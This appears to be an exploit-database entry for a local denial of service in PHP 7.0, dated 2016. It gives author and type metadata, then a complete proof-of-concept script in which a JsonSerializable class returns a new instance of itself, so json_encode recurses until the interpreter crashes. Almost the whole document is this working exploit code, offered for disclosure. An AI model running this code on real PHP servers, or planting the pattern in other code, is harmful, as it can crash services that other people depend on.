PHP 7.0 - JsonSerializable::jsonSerialize json_encode Local Denial of Service

Author: Yakir Wizman
type: dos
platform: php
port: 
date_added: 2016-08-31  
date_updated: 2016-08-31  
verified: 0  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 40329.php  

<?php
#############################################################################
## PHP 7.0 JsonSerializable::jsonSerialize json_encode Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 31/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
class jsonTmp implements JsonSerializable {
	function jsonSerialize() {
		$jsonTmp = new jsonTmp();
		return $jsonTmp;
	}
}
json_encode(new jsonTmp());
?>